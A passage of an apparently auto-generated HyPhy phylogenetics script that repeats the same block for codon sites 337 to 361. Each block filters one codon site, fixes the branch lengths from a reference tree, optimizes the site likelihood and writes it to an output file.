assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "337\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 338...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1011,1012,1013", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 338");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "338\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 339...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1014,1015,1016", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 339");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "339\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 340...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1017,1018,1019", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 340");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "340\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 341...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1020,1021,1022", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 341");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "341\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 342...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1023,1024,1025", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 342");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "342\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 343...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1026,1027,1028", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 343");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "343\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 344...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1029,1030,1031", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 344");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "344\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 345...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1032,1033,1034", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 345");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "345\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 346...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1035,1036,1037", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 346");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "346\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 347...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1038,1039,1040", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 347");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "347\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 348...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1041,1042,1043", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 348");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "348\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 349...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1044,1045,1046", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 349");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "349\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 350...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1047,1048,1049", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 350");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "350\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 351...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1050,1051,1052", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 351");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "351\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 352...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1053,1054,1055", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 352");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "352\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 353...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1056,1057,1058", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 353");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "353\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 354...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1059,1060,1061", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 354");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "354\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 355...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1062,1063,1064", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 355");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "355\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 356...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1065,1066,1067", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 356");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "356\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 357...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1068,1069,1070", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 357");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "357\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 358...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1071,1072,1073", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 358");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "358\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 359...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1074,1075,1076", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 359");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "359\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 360...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1077,1078,1079", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 360");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "360\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 361...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "1080,1081,1082", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 361");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
